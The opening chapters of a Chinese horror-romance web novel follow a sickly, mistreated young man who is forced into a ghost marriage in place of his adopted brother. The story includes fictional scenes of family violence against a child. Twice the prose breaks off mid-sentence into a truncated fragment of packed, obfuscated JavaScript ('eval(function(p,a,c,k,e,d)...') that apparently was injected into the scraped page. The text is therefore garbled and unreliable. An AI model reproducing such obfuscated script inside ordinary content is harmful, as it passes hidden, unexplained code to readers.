《小可怜替嫁后发现老攻是邪祟》 1. 替嫁 《小可怜替嫁后发现老攻是邪祟》 文/醒灯 首发/晋江文学城 第一章 京市。 暴雨一连下了几日,此刻乌沉低暗的云层弥漫崩流,闷雷轰隆响起,谈家老宅的阁楼里,少年躲在被子底下,昏昏沉沉地睡着。 直到阁楼的门被人轻轻推开。 “二少爷?”佣人张妈站在门外,她脸色有些担忧,低声叫道,“二少爷?” 这阁楼平常几乎没人上来,再加上暴雨,透着古怪发霉的潮湿味。 她等了一分多钟,被子底下的小鼓包才终于动了动,少年好像才反应过来有人在叫他,将被子顶在头上坐了起来。 阁楼里没开灯,借着瓢泼的雨光,却仍然能隐约看清对方的脸。 张妈在谈家已经二十多年了,但对上这张脸,还是忍不住晃了下神。 眼前的少年乌发雪肤,他还在生病,身形过于单薄,巴掌大的小脸上病气萦绕,眼神茫然中透着畏怯,睫毛又密又长,在眼睑遮出一片阴影,浑身都苍白到没什么血色,偏偏唇肉格外饱满嫣红,以至于有种阴寥寥的孱弱漂亮。 像母胎里刚诞下来没多久的小羊羔,皮毛濡湿,虚弱无力,连咩咩叫的力气都没有。 “二少爷,”张妈陡然回过神,连忙说,“先生跟夫人叫你过去,咱们赶紧走吧。” 谈雪慈却没动,他从被子底下出来以后,就一直盯着阁楼那块灰蒙蒙的窗户看。 张妈勉强笑了笑,走过去给他整理了一下被子,问他,“二少爷,在看什么呢?” “外面……”谈雪慈睫毛轻颤,他抱紧膝盖,抿了抿唇,终于开口说,“有东西……” 他太久没说话了,一开口,嗓子又轻又软,湿冷的雨丝透过没关严的窗缝吹进来,张妈后颈一凉,脊背顿时出了一层白毛汗。 “没有啊,”张妈脸上的笑更勉强了,她过去将窗子关好,搓了搓自己冰凉的手臂,跟谈雪慈说,“外面什么都没有,二少爷,这话可不能乱说,待会儿夫人会生气的。” 谈雪慈沉默下来,却仍然咬住下唇,紧紧盯着窗外,密密仄仄的雨水蜿蜒在玻璃上,逐渐扭曲起来,乍一看就像一张诡异骇人的鬼脸。 张妈心里莫名发毛,她见谈雪慈不走,又连声催促,谈雪慈这才挪开眼。 他病了好几天,现在还没退烧,身体很沉重,一点儿力气也没有,但听到是谈父谈母找他,眼底却还是不由自主地泛起点光亮。 就像在暴雨夜终于等到父母归家的小孩。 他磕磕绊绊地爬起来,换了件宝蓝色卫衣,就跟着张妈往外走。 卫衣袖子已经磨破了,而且过于宽大,穿起来空空荡荡,衬得人越发消瘦,就连脖颈都很纤细,微微垂着,很容易就能折断。 张妈叹了口气,给他带路。 谈雪慈三岁时生了一场怪病,然后就被关在这个阁楼,除了隔段时间会住院治疗,十几年几乎没有出去过,身体也一直不好。 这半年不知道为什么,夫人突然允许他出门,但毕竟与世隔绝地关了十几年,再漂亮又怎么样,根本就是个小傻子。 - 谈雪慈走到一楼,才发现谈父谈母,还有他大哥谈商礼都在。 谈父跟谈商礼都穿了黑西装,左驳领下方别了朵白色胸花,谈母也穿了条庄重到沉闷的黑色长裙,是刚参加完葬礼的样子。 他们都在沙发上坐着,没人注意到他过来,暴雨滂沱压下,老宅内气氛也很压抑。 谈母擦掉眼泪,恨恨地说:“不管怎么样,我不同意让阿砚去联姻!” “你以为我就愿意?”谈父眉宇间都是阴沉气,他手上拿着根雪茄,脸色难堪地说,“贺家确实欺人太甚,但咱们得罪不起。” 他们受邀去贺家参加葬礼,离开前却被贺家的家主叫住了,说有点私事。 贺家在京市的地位很微妙,既不经商,也不从政,但地位却不逊于几大豪门。 无他,贺家是四大风水世家之首。 尤其贺家的家主,就连京市顶尖豪门的权贵,都未必想见就能见到对方。 何况谈家只是开了家地产公司而已,谈父以前更是没机会见到这位行事低调神秘的家主。 而现在,贺家的家主却亲自邀请他来参加本家的葬礼,甚至还私下交谈。 葬礼上许多宾客望向谈父的眼神都多了几分探究,开始重新掂量谈家在京圈的位置。 然而谈父还没来得及得意,对方就零帧起手,提出要跟他的小儿子谈砚宁联姻。 因为看中了谈砚宁的生辰八字。 “谈总,”贺家家主抚摸着右手的翡翠扳指,那枚扳指沉重威严,在湿冷雨夜中却透出浓暗的绿,像极了鬼火,“鄙人的长子贺恂夜,跟令郎八字相合,鸳盟注定。” “贺家拟定婚期为甲申月戊寅日,当晚子时会派人去谈家接亲。” 说人话就是三天后的晚上十一点。 谈父愣了下,差点不敢相信自己的耳朵,他猛然回头望向灵堂的方向,紧接着整张脸都开始褪色,变得惨白僵硬。 贺家家主却没给他商量的余地,单方面定下日子,就让管家送他离开。 谈父疲惫地撑着头,谈家有三个孩子,谈砚宁虽然是从福利院抱养的,但他们夫妻一直爱若珍宝,怎么舍得看着他往火坑里跳。 问题是舍不得又能怎么样,贺家都已经提出来了,别说谈家,就算换成京圈任何一个豪门,除非逼不得已,也都不会跟贺家作对。 谈母已经将自己吊唁的白色胸花摘了下来,见谈父不说话,她几乎将手心的胸花攥烂,终于下定决心,眼神阴郁决绝,压低嗓音说:“不是还有阁楼那个东西吗?” “……这怎么能行?”谈父反应过来,脸上蓦地一沉,“你疯了吧,被贺家发现怎么办?!” 谈母又擦了下眼泪,柔美的面容憔悴至极,眼眶发红地说:“被发现又怎么样?阿砚难道不是你的孩子?你就忍心让他嫁给那个……” 她说到一半,突然咬住嘴唇,没敢再说下去,就像怕惊扰到什么恐怖的存在。 而且谈砚宁知道了联姻的事,在回来的车上哭了很久,刚刚才躺下睡着,她心都被哭碎了,生怕再吵到她的孩子。 暴雨始终没停,黏稠浓重的乌云笼罩过来,就好像天都要被压塌了,谈父脸上剧烈地挣扎了几下,最后还是叹了口气。 确实。 这或许是个办法。 别人不一定行,但是拿谈雪慈去顶替,说不定真的能蒙混过去,毕竟谈雪慈跟谈砚宁是同年同月同日同时生,八字相同。 等到婚礼结束,就算贺家发现换了人,那也晚了,何况娶谁不是娶,贺家想要的是八字,又不是人,应该不会拿他们怎么样的。 想到这儿,谈父抬起头,这才发现谈雪慈不知道什么时候下来了,就站在一楼拐角处。 像一道渺白模糊的影子。 他眼皮突兀一跳,语气严厉说:“让你过来,磨蹭这么半天,躲在那儿干什么?” 谈雪慈连忙走过去,他本来想挨着谈母坐下,但对上谈母冷若冰霜的脸,又没敢靠近,眼底的光亮也跟着熄灭了一点。 “你都听到了吧,”谈父揉了揉眉心,“谈家养了你这么多年,总不能白养,你也该为这个家做点事了,贺家三天后的晚上过来接人,到时候你替你弟弟去跟贺恂夜联姻。” “但是……”谈雪慈还在生病,脑子昏昏沉沉的,反应很迟钝,他细白指尖紧紧攥着自己的衣摆,有点不解地说,“我有男朋友……” 他跟他的男朋友已经在一起三个月了,感情很好,他怎么能跟别人结婚。 而且他听说过贺家这个大少爷,据说风流成性,男女不忌,经常出入夜店会所,还有特殊癖好,能把人玩进医院的那种。 他才出院没多久,不想再住院了。 “什么男朋友?!”谈父登时沉下脸,将雪茄拧灭,不耐烦地呵斥说,“别胡说八道!就这么定下来了,你自己准备好。” 说完,他就起身离开,没再管谈雪慈。 谈母冷冰冰地睨了谈雪慈一眼,也跟在丈夫身后离开,从头到尾没跟他说过任何话。 就连谈商礼也站了起来。 “大哥……”谈雪慈见他们都走了,心里一慌,下意识牵住了谈商礼的衣摆。 “谈雪慈,”谈商礼拧起眉,打断他说,“你病了这么多年,闹得整个谈家都不得安宁,就连妈都差点被你害死,当时都是阿砚替你陪在妈身边,他对你从来都没有怨言,但你呢?” 谈商礼嗓音很淡,听不出来喜怒,却像刺骨的冰棱,将谈雪慈狠狠地钉在原地。 “你为他做过什么?为这个家做过什么?你这个样子,除了我们谁还能忍你这么多年?只是结个婚而已,你不去,难道让阿砚去?” “谈雪慈,你还有没有良心?” 谈雪慈茫然地张了张唇,他手心都湿黏黏的在冒汗,但常年被关禁闭,每次出来都只会对上爸爸妈妈跟哥哥冷漠厌恶的眼神,就养成了畏畏缩缩的性子,根本不会跟人争辩。 他眼眶红了一圈,却还是没憋出来什么反驳的话,最后只能摇着头,小声怯懦地说:“不是的……不是的……我去找贺睢……” 他男朋友叫贺睢,也是贺家人,只不过属于旁系,按辈分算,贺恂夜是贺睢的小叔。 贺睢肯定知道这是怎么回事。 谈商礼眼中尽是失望,他没想到谈雪慈真的这么自私,他脸色彻底沉了下去,忍无可忍地扬起手扇了谈雪慈一巴掌。 啪的一声。 谈雪慈被打得偏过头,男人骨节冷硬的大手毫不留情,彻底将愤怒发泄出来。 他脸颊立刻泛起一片红肿。 “不管你有什么男朋友,都赶紧断了,”谈商礼警告他,“别再让爸妈操心。” 说着,他眼底情绪复杂起来,“何况替嫁的主意,本来就是你那个男朋友告诉妈的,你要是不信,他就在外面,你可以自己去问。” 谈雪慈愣住,几乎忘记了脸上的钝痛,他转过头,这才发现隔着渐渐稀疏的雨幕,谈家老宅外停着一辆很眼熟的黑色卡宴。 - 贺家人的葬礼,贺睢作为贺家旁系当然也会去,他参加完葬礼,又送了谈父谈母他们回来,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他莫名其妙地问:“你在看什么?” “……”谈雪慈往后退了一步,小声问,“你车上带了其他人吗?” 贺睢眉头蹙起,更莫名其妙了,他今晚只送了谈砚宁他们而已。 他仅凭最后的耐心,没有发火,但语气已经彻底冷了下来,“你到底在闹什么?” 谈雪慈喉头一阵阵发紧,车内昏黑一片,只映着雨水微弱的光亮,后座上有个模糊的小身影,对方身形很小,看起来顶多两三岁的样子,不知道盯着他们看了多久,被谈雪慈发现以后,就将青白小脸缓缓贴在了车玻璃上。 它皮肤是一种死气沉沉的青灰色,黑漆漆的眼睛睁得很大,没有眼白,血红的嘴巴咧开,朝谈雪慈露出一个充满恶意的笑。 谈雪慈脑子嗡的一声,冷汗当即流了下来,然而他还没来得及开口,那东西就突然消失了,再一抬头,出现在了贺睢的肩膀上。 对方就像在沿着贺睢的肩膀飞快攀爬一样,转眼就半个身体都探出肩头,布满尸斑的小手缥缈又修长,搂住贺睢的脖子。 贺睢脖颈旁边莫名凉了一瞬,就像被人吹了一口凉气,他突然反应过来什么,语气控制不住带上厌恶,“你又犯病了?” 他知道谈雪慈得过怪病,不然谈家也不会将谈雪慈关起来,一关就是十几年。 然而贺睢并不想去哄一个神经病,他仅存的耐心都没有了,转身就要上车。 他肩膀上趴着的那个东西也被这动作带得一晃一晃,似乎觉得很好玩,在寂冷雨夜发出一连串咯咯的笑声。 直到贺睢俯身上车,对方才缓缓地将头转了一百八十度到背后,鬼气森森的小脸毫无表情地盯着谈雪慈,突然朝他扑了过去。 很多人在惊恐过度时是发不出声音的,谈雪慈脸色惨白,只能靠着本能掉头就跑。 他双腿沉重得像灌了铅一样,顾不上佣人异样的眼神,跑到阁楼就往床上躲,将自己死死埋在被子底下,全身都在不停地发抖。 床上的枕头,毯子,几个很旧的玩偶,还有衣服,都被挤到了地上。 阁楼的门被砰砰地发狠用力撞击了几声,但除了谈雪慈,好像没人能听到这动静。 谈雪慈睫毛颤抖着,他攥住枕边的药瓶,也不知道倒出了多少颗,就一股脑都塞到嘴里。 药很快就起效了,谈雪慈心脏骤然紧缩了几下,胸腔内那团悸动的血肉不停地扑嗵扑嗵,让他眼前一阵阵发黑,喉咙腥甜。 濒死般的疼痛过后,随着血液回流,门外的撞击声也消失不见。 他躲在被子底下不敢出去,浑身僵硬,眼睫都被冰雪凝固一样,沿着下颌脖颈蔓延开一片惨白,屏住呼吸听着外面的动静。 什么都没有。 直到他快要睡着,走廊才匆匆响起几道脚步声,紧接着,阁楼的门被人咔哒一声锁死。 “刚才谁让他跑出去的?”谈父阴沉的嗓音隔着门传来,像在嘱咐佣人,“给我把人看好,别让他跑了,我还等着贺家来接呢!” 2. 纸人迎亲 谈雪慈本来都要睡着了,又被走廊的动静吓醒,他躲在被子底下,头发都蹭得乱蓬蓬的,忍不住抬起手背抹了下眼睛。 他还是不太习惯家人冷漠厌恶的语气,就好像他是多余的那个,不应该存在一样。 他侧过身躺下流眼泪,枕头哭湿了一块,变得冰凉一片,他就往后挪挪,把脸蛋放在干燥的地方,然后悄无声息地继续哭。 谈父担心贺家要人,他们交不出来,发现谈雪慈生病以后,终于让张妈过来给他送点药。 张妈在心里低叹了声,拿着药上楼。 她还以为谈雪慈在睡觉,将谈雪慈蒙在脸上的被子扯下来,才发现他正躲在被子底下偷偷哭,顿时又好笑又心疼。 谈雪慈有点不好意思地抓住被角,耳尖也微微红起来,他半张带着病气的苍白脸颊埋在被子底下,额头冷汗涔涔的。 明明已经二十一岁了,但过于羸弱,严重营养不良,瘦瘦小小看着顶多刚成年。 张妈捡起掉在地上的小羊玩偶,放在谈雪慈枕头旁边,谈雪慈伸手抱住。 这个玩偶是他三岁的时候,谈母买给他的阿贝贝,他每天晚上都会抱着它睡觉。 小羊玩偶有着柔软的白毛,只有脸跟四肢是黑色的,眼珠是一对血红色纽扣,小羊耳朵很软地耷拉下来,垂在谈雪慈的脖颈上。 他实在瘦得厉害,薄薄的皮肤底下血管蜿蜒发青,瘦削手指无力地陷在小羊的绒毛里,要不是胸口还有微弱起伏,几乎会被当成死人。 “二少爷,”到底是自己看着长大的孩子,难免有些心疼,张妈抹掉眼角的湿润,将人扶起来喂药,哄他说,“吃完药再睡。” 谈雪慈被张妈扶起来,病恹恹地靠在床头,就这么几个简单的起身动作,已经让他很疲惫,乌黑的眼珠像被水浸透了一样。 他靠着床头缓了一会儿,才抿了抿嘴,仰起脸小心翼翼地问:“妈妈呢?” “……”张妈顿住,移开眼神,勉强笑着说,“夫人很担心二少爷,说晚点就来看你。” 她也知道这个解释生硬又苍白,连三岁小孩都骗不到,毕竟谈父谈母就在这栋老宅里,想看谈雪慈,只是上个楼的功夫。 然而他们十几年都没来过。 谈雪慈沉默下来,他纤长的睫毛垂着,在眼底遮出一片寥落的阴影,他什么都没再问,片刻后却忽然很小声地开口,“谢谢。” 张妈怔了下。 “谢谢。”谈雪慈以为她没听到,他抱紧怀里的小羊,拘谨地看了她一眼,又小声重复。 他当然知道张妈在骗他,但骗他也好。 他记得自己小时候不敢一个人睡,晚上总是钻到爸爸妈妈中间不肯走,要跟妈妈睡,妈妈就给他买了这个小羊,说给他作伴。 他一开始还哭了一鼻子,以为妈妈不要他了,他以后只能跟这个黑乎乎的小羊一起睡。 但等了一晚上,爸爸妈妈也没有把他抱走,睁开眼,他就发现自己躺在妈妈怀里,妈妈还伸手捏他的小脸蛋,逗他说: “怎么办啊,妈妈也舍不得跟小乖分开。” …… 谈雪慈低下头,他已经十几年没见过妈妈对他笑了,也没再听到她那么温柔地叫他小乖。 他知道自己总是生病,给家里添了很多麻烦,所以爸爸妈妈都不喜欢他,他能理解,他确实是个累赘,换成谁都会嫌弃。 只是他以前不愿意接受,他总觉得等他病好了,爸爸妈妈还会像小时候那样喜欢他的。 但他没想到,他们已经不打算再给他机会了,妈妈不爱他了,不会再抱着他说舍不得。 贺睢当然也不爱他。 他没去过贺家,也不知道那个贺恂夜会不会很凶,贺睢倒是跟他提起过几次,但每次提起来,一贯冷漠桀骜的脸上都浮起些许畏惧,就好像对方是什么生啖血肉的凶祟一样。 这么凶,说不定会不让他回家。 那他就见不到张妈了。 他知道张妈其实也没有很喜欢他,但她确实是这辈子对他最好的人,可惜他没什么能给她的东西,只能在临走前跟她说一声谢谢。 “……” 张妈没有作声。 她知道谈雪慈有点可怜,但这也不能怪先生和夫人,谁会喜欢谈雪慈这样的小孩。 谈母身体不好,她是谈雪慈的奶妈,从谈雪慈出生以后没多久就开始照顾他,比起同龄的小孩子,谈雪慈当时乖得过分。 饿了都不哭不闹,只是攥住小被子,睁着那双乌黑水润的大眼睛望来望去。 直到谈雪慈三岁时生了一场大病,再醒来就都不一样了,道士都说这孩子邪祟附体,还给他做了几次驱邪法事,但都没什么用。 大晚上的,谈雪慈还是会像个小小的幽魂一样,悄无声息地站在谈母床头,摇晃谈母的肩膀说:“妈妈,我想玩一下那个皮球。” 谈母睁开眼,在一片漆黑中冷不丁看到床边站着个瘦小模糊的影子,差点被吓得心脏骤停,颤声问:“什么……什么皮球?” “妈妈,”谈雪慈歪过头,轻声说,“就是你床底下那颗红色的皮球啊。” 谈母的视线不受控制地往漆黑的床底瞥去,那里本该空无一物,但谈雪慈说完之后,她好像真的看到有个很模糊的圆影子。 骨碌碌……骨碌碌地转来转去,一下又一下地撞着她的床脚,就好像有双手在推它一样。 “啊啊啊——!!!!!” 谈母凄厉的尖叫撕破夜幕。 她本来就有严重的神经衰弱,被谈雪慈连着吓了几个晚上,不得不住院治疗。 等到再大一点,谈雪慈还会时不时突然发抖大哭,说家里有鬼。 从谈雪慈生病那年开始,谈家的生意就一落千丈,外界议论纷纷,说谈家估计撞了邪。 谈父忙得焦头烂额,几乎住在了公司,他整晚整晚睡不着觉,总觉得心神不宁,直到某次夜里突然接到谈商礼的电话。 “爸,”谈商礼竭力保持冷静,告诉他说,“我跟妈妈在医院,刚才小慈把妈妈的头按到浴缸里,妈妈溺水了,还在抢救。” 谈父脑子嗡的一声,像什么不详的预感成真,他双眼骤然阴冷下去,连夜开车赶往医院。 他到医院时,谈母刚结束抢救,戴着氧气罩虚弱地躺在病床上,她长发湿漉漉的,像个惨白水鬼,四肢厥冷,嘴唇发绀,脖子上有一圈小手掐出来的红痕,也已经开始发紫。 谈父阴沉着脸什么都没说,等回到家,就掐住谈雪慈的脖子往阁楼上拎。 “先生……”张妈被吓得不轻,但害怕出事,还是连忙跟上去,“先生!” 男人的大掌刚劲有力,谈雪慈纤细的脖颈几乎被他掐断,小脸胀得不成样子,因为缺氧四肢绵软,毫无生机地耷拉着。 谈父无动于衷,将他往地上一甩。 谈雪慈弓起身,倒在男人的皮鞋旁边,挣扎了几次都没能爬起来。 谈父眼底覆着层寒霜,他高大阴翳的身影将地上的小孩子完全笼罩住,谈雪慈还没反应过来,就被谈父猛地一脚踹了出去。 张妈失声惊叫。 “张妈,”谈父转过头,睨了她一眼,然后语气很失望又不容置疑地说,“把他关起来吧,他要是再偷跑出去,就打断他的腿。” “谈家怎么能有这种畜生一样的孩子。” 张妈对上谈父寒意凛然的双眼,知道谈父彻底动了怒,她没敢出声,匆忙点了几下头,从这之后,谈雪慈一直都是她在照顾。 …… 谈雪慈生病的第三年,谈父跟谈母收养了谈砚宁,按先来后到,让谈砚宁管谈雪慈叫哥哥,谈砚宁对此没有意见。 谈砚宁来到谈家以后,谈母有了慰藉,状态渐渐好转了一些,而且明明是同岁,谈砚宁性格稳重,谈家上下都对他赞不绝口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阁楼阴冷昏黑,只开了盏很黯淡的床头灯,张妈看不清谈雪慈的神情,在一片黑暗中,她突然听到一声很低的笑。 那声音太轻了,几乎像冷嗤。 张妈愣住,后颈突然起了层细密的鸡皮疙瘩,她疑心自己听错了,望向谈雪慈。 谈雪慈漂亮洇黑的双眼抬起来,阁楼太冷了,他的被子洗到发白破洞,几乎起不到什么保暖作用,冻得脖颈一片雪色。 “唔,”谈雪慈乖乖地应声,说,“我知道。” 张妈压下心底那点怪异,对他笑了笑,看着他吃完药,又扶他躺下,这才离开。 - 谈雪慈病还没好,很快就又昏睡过去。 他也不知道自己睡了多久,身体突然被抬起来,然后有什么人在七手八脚地给他穿衣服,还在他脸上涂来涂去。 谈雪慈睫毛颤了几下,勉强睁开眼,却在漆黑中对上了几张惨白面孔,都围拢在他上方,乌黑细长的杏核眼,脸上涂着两团浓艳的腮红,嘴巴也涂得很红,很僵硬刻板地弯起来。 本来空白的眼眶里被点上了眼珠,几对黑沉的眼珠子都在直勾勾地盯着他。 谈雪慈:“……” 于是他又暂时将眼睛闭了起来。 几个穿红着绿的纸扎人见到新娘眼睛一睁一闭,不知道晕了还是死了,顿时凑到谈雪慈头顶,叽叽喳喳地叫了起来。 谈雪慈浑身都很冷,就像被包裹在一团阴湿沉重的雾里,听不太清它们在说什么。 直到有个媒婆打扮的纸扎人走过来,用力抓住他的肩膀,指甲都深深嵌在他皮肉里,谈雪慈肩膀疼得厉害,不得不再次睁开眼。 纸媒婆的嘴涂得血红,带着血淋淋的死气,嗓子尖利又阴沉地说:“你该走了。” 谈雪慈吓得说不出话,呼吸都在抖。 他本能地往阁楼门口看,想找个机会逃出去,然而才转过头,冷汗就瞬间渗出。 阁楼的门不知道什么时候打开了,漆黑浓暗的走廊里挤满了密密麻麻的纸扎人。 苍白灰败的脸一张叠着一张,双颊上都涂着两团鲜艳的胭脂红,看起来阴冷又喜庆。 为首的两个还穿着暗红色滚边殓服,提着带囍字的红灯笼,抬起手朝他招了招,诡异青白的脸上眉开眼笑,就像在催他出去一样。 3. 丧偶式婚姻 谈雪慈一时间心如死灰,意识到自己真的跑不掉了,纸媒婆见新娘子认了命,就继续指挥旁边几个纸人给谈雪慈换衣服。 谈雪慈怔怔的,回过神时,身上已经穿了件大红色的刺绣襦裙嫁衣,针脚冰冷又僵硬,像极了刚从坟地里死人身上扒下来的寿衣。 纸媒婆不管他的抗拒,又拿着块绣着囍字的红盖头,蒙在他头上。 红布盖头挡得很严实,什么都看不清,但谈雪慈也不用自己走,旁边几个纸人就七手八脚地走过来,架住他的胳膊将他往外拖。 谈雪慈晕头转向就被塞进了一顶轿子里。 乌云沉沉地笼罩了月亮,很快就下起雨来,大雨浇湿了地上到处乱飞的白色往生钱。 弥漫的雨雾中几个纸扎人抬着一顶红色的喜轿,完全不受影响一样,脚步匆匆地往前走去,红茫茫白惨惨,最终消失在浓雾的尽头。 纸媒婆甩着红手帕,嗓子尖利地不停催促,“快走快走,不要错过吉时!” 谈雪慈攥着红盖头,想扯又不敢扯下来,也不知道过了多久,终于被纸人拖下轿子。 他的头无力地垂下,在囍帕下方,能看到前面出现了一个火盆。 火舌明明扭曲膨胀,灼热耀眼,却透着股阴冷不详的感觉,汹涌地缠绕过来。 就像要将他一并拖入地狱一样。 “跨火盆!”纸媒婆的尖嗓子紧跟着响起。 谈雪慈害怕到浑身发抖,就算他是个小傻子,也觉得很诡异,这根本不像正常的婚礼。 然而几个纸人力气奇大,死死扣住他的肩膀,就将他往前拖。 要是不抬脚,裙摆就会被火舌烧到,谈雪慈几乎是用尽全力,才抬起僵硬的腿跨了过去。 纸媒婆阴冷诡白的脸上红唇渗人,扯开个巨大又诡异的笑。 谈雪慈被拖着往前走,这下终于有了人声,旁边嘈杂喧闹,好像都是宾客。 有男有女,有老人有孩子,时不时响起宾客的哄堂大笑,还有一串小孩子咯咯的笑声,铜锣唢呐吹吹打打,却感受不到一点喜庆。 谈雪慈听到他们在说什么头七。 “惨呐,贺家这个长子,命中带煞,生下来就鬼气冲天,”有个年迈的嗓音说,“克亲克友,克妻克子,注定活不过三十岁。” 旁边的人应声,“可不是嘛,白发人送黑发人,今晚头七,贺家父母看他生前寂寞,死后可怜,给他找了个妻子,马上就要拜堂了!” 他们语气都抑扬顿挫,放在平常会让人发笑,但贺家老宅现在到处都是阴冷的红灯笼,映得黑洞一样的庭院都在发红。 从乌云中挣扎出来的月亮都透着血蒙蒙的红色,换成谁都笑不出来,只觉得脊背发凉。 谈雪慈晕乎乎的,不知道为什么,他能听到对方在说话,但脑子像被一团闷湿的浓雾紧紧裹住一样,理解不了话中的意思。 他只知道终于碰到了其他人,这些人说话并没有纸人的嗓音那么刻板尖锐。 谈雪慈喉咙发紧,他仍然很害怕,但也许是求生的本能,让他忍住肩膀骨头被捏碎一样的巨大疼痛,猛然从那几个纸人手中挣扎出去。 他顾不上多想,就一把抓住了离自己最近的那个人,好像是刚才说话的那个老人。 “救命……”谈雪慈手指发抖地掀起盖头,他咬住嘴唇强忍眼泪,嗓子都在颤。 他当然知道对方是贺家请来的客人,几乎不可能救他,但好歹听起来像个活人,他只能抓住这根救命稻草。 然而一对上老人的双眼,他头皮瞬间发麻,脊椎炸开一样,出了一身的冷汗。 老人皮肤青紫肿胀,浑身散发着浓烈的臭味,嘴角已经腐烂,眼眶骨沤出一个黑洞,里面塞满了幽绿的水草还有藻类,嘴唇却还在不停地张合,“……鬼气冲天,此地鬼气冲天啊!” 他嗓音惊惧,就像受到了莫大的惊吓,嘴角却越裂越开,饱含恶意的笑几乎藏都藏不住。 谈雪慈脸上雪白一片,他猛地撒开手,往后退了几步,就像碰到了什么脏东西。 他曾经听过一种说法,不怕鬼哭,就怕鬼笑,半夜呜呜咽咽躲起来哭的鬼未必多凶,但笑成这样大概率阴得没边。 “哎呦!”纸媒婆发现新娘自己掀了盖头,吓得嗓子都变了调,她冲上来就给谈雪慈死死盖住,然后将人拖走,“别让新郎官等急了。” 她说到最后一句,冷不丁打了个哆嗦,像撞了鬼一样,让谈雪慈觉得她好像比自己更希望这个婚礼赶紧结束,然后就能扔下他逃跑。 谈雪慈被推推搡搡,终于停在了一个地方,他苍白的小脸抬起来,还没来得及反应,突然一股大力按向他脑后。 强迫他拜了下去。 “一拜天地!”司仪是个男声,嗓音也跟纸媒婆一样又冷又诡。 谈雪慈已经恐惧到浑身都不听使唤了,却根本没办法反抗,只能被拖拽着,换了个方向,然后脑袋又被使劲按了下去。 对方力量之大,让他怀疑再来几次,自己的脖子都会折断。 谈雪慈不受控制地往前栽倒,慌乱中伸手乱抓,好像抓住了什么冰凉修长的东西,双手被轻飘飘地托了起来,又跪稳在原地。 “二拜高堂!” 谈雪慈呆了下,他心跳剧烈,胸膛都在发痛,但也只能僵硬地跪在原地,被人按住脑袋,再次用力地叩拜下去,喉咙瞬间腥甜一片。 他脑子嗡的一声,突然被一股巨大的阴冷茫然感笼罩住,就好像灵魂都已经不属于自己。 “夫妻对拜!礼成!” 拜完之后,按在他身上的手突然都松开了,谈雪慈跪在地上,就着跪拜的姿势软倒了下去,闹哄哄的宾客也如潮水褪去。 谈雪慈倒在地上一动都不敢动,背后的门砰砰作响,好像有人在往门上贴什么东西。 他甚至听到了几道正常的人声,还有嘈杂的脚步,但很快就再次寂静下去。 阴沉的夜晚,整个贺家老宅都死寂到没有任何声响,谈雪慈心脏嗵嗵直跳,有种整个贺家只剩下他一个活人的感觉。 他还撅起屁股跪着,少年的腰肢很细,伏下去时弯出姣好的弧度,他膝盖疼得厉害,用发抖的手臂撑住地,终于坐了起来。 贺家大概是怕他跑掉,没给他穿鞋子,他蜷起脚趾,努力将冰凉的双脚都藏到裙摆底下。 囍帕仍然挡在眼前,在这种陌生又诡异的地方,什么都看不见让他很恐惧,但是他抬起手摸到冰凉的绣线,顿时打了个哆嗦。 他没勇气扯掉。 生怕再被什么怪东西突脸。 谈雪慈抱着膝盖,身体一点一点小心翼翼地往后挪,直到背后抵住了什么东西,有了依靠,他心里才微微松了口气。 他终于受不了这诡异的气氛,细白指尖攥住囍帕,轻轻地往上撩起了一点。 出于意料的,这个祠堂一样的房间没有摆放任何红灯笼红蜡烛,反而挂了很多白花白布……甚至还有各种花圈和招魂幡。 谈雪慈呼吸一紧,他僵硬地转过头,这才发现他刚才靠住的是什么。 是一口通体乌黑的棺材。 谈雪慈差点惊叫出声,冷汗一瞬间沿着脊背淌下,他惊慌失措几乎是手脚并用爬开的。 囍帕还挂在新娘子乌黑的头发上,要掉不掉,遮住了他半张惨白的脸颊,映着鬼火一样的白灯笼,衬出种怪异又令人战栗的美貌。 谈雪慈从棺材旁边退开,这才终于看到了摆在棺材前面的案台,他已经不敢看了,眼神却还是控制不住地一点一点往上。 然后对上一张黑白遗照。 遗照上的男人苍白俊美,骨相立体挺拔,眉弓像耸起的一对小山峦,压低下来,在眼窝遮出很浓重的阴影,显得尤为深邃,对方穿了身黑色西装,沉郁幽冷的桃花眼好像天生含笑,就连嘴角都勾起了带笑的弧度。 只是旁边的烛火太黯淡,面容都被模糊掉,在这样的夜晚难免显得鬼气阵阵。 谈雪慈瞳孔一颤,映着明明灭灭的烛火,冷汗沿着他消瘦的脸颊滚落下去,阴风簌簌穿堂而过,他心口也一片冰凉。 他想,他终于知道了。 他弟弟为什么死活不愿意联姻,他父母为什么冒着得罪贺家的危险都要让他顶替。 因为这个男人已经死了,这根本就是场冥婚,他在对方的灵堂。 棺材两旁也摆放着很多纸扎人,有穿红着绿的童男童女,还有一对中年夫妻模样的纸扎人,端坐在案台两旁的椅子上。 再旁边是纸扎的宾客。 这些纸人全部点了眼睛,明明是纸做的,眼睛也是画上去的,却有种活人的神态。 谈雪慈却觉得自己无论往那个地方躲,这些纸人的眼神全都在阴冷黏腻地盯着他。 他从心底渗出股寒意。 这个地方,除了他……到底还有没有活人? 谈雪慈漂亮的眸子里蓄满泪水,每根神经都在叫嚣着恐惧,连喊人的力气都没有了,背后的门却又开始砰砰作响。 他被吓得一颤,连忙爬了起来,却没找到任何能躲藏的地方。 映着蒙昧发红的月光,谈雪慈隐约能看到门外好像贴了很多纸一样的东西,就像无数黄符在被撕扯撞击,风声鬼哭狼嚎。 怎么办……怎么办…… 谈雪慈还没找到出路,灵堂里那对中年夫妻的纸扎人就突然烧起熊熊大火,明明是纸扎的,却像人体油脂融化一样,从头融到了脚。 女纸扎人摇摇晃晃,半个颅骨摇摇欲坠地撑在脖颈上,突然挺尸一样站了起来! 谈雪慈手脚发软,眼泪瞬间模糊了视线,根本来不及躲开,还好这个纸扎人只踉跄着走了几步,就彻底被烧成灰烬。 剩下的纸扎人也一个接一个燃烧,在大火中面目扭曲,谈雪慈终于彻底崩溃, 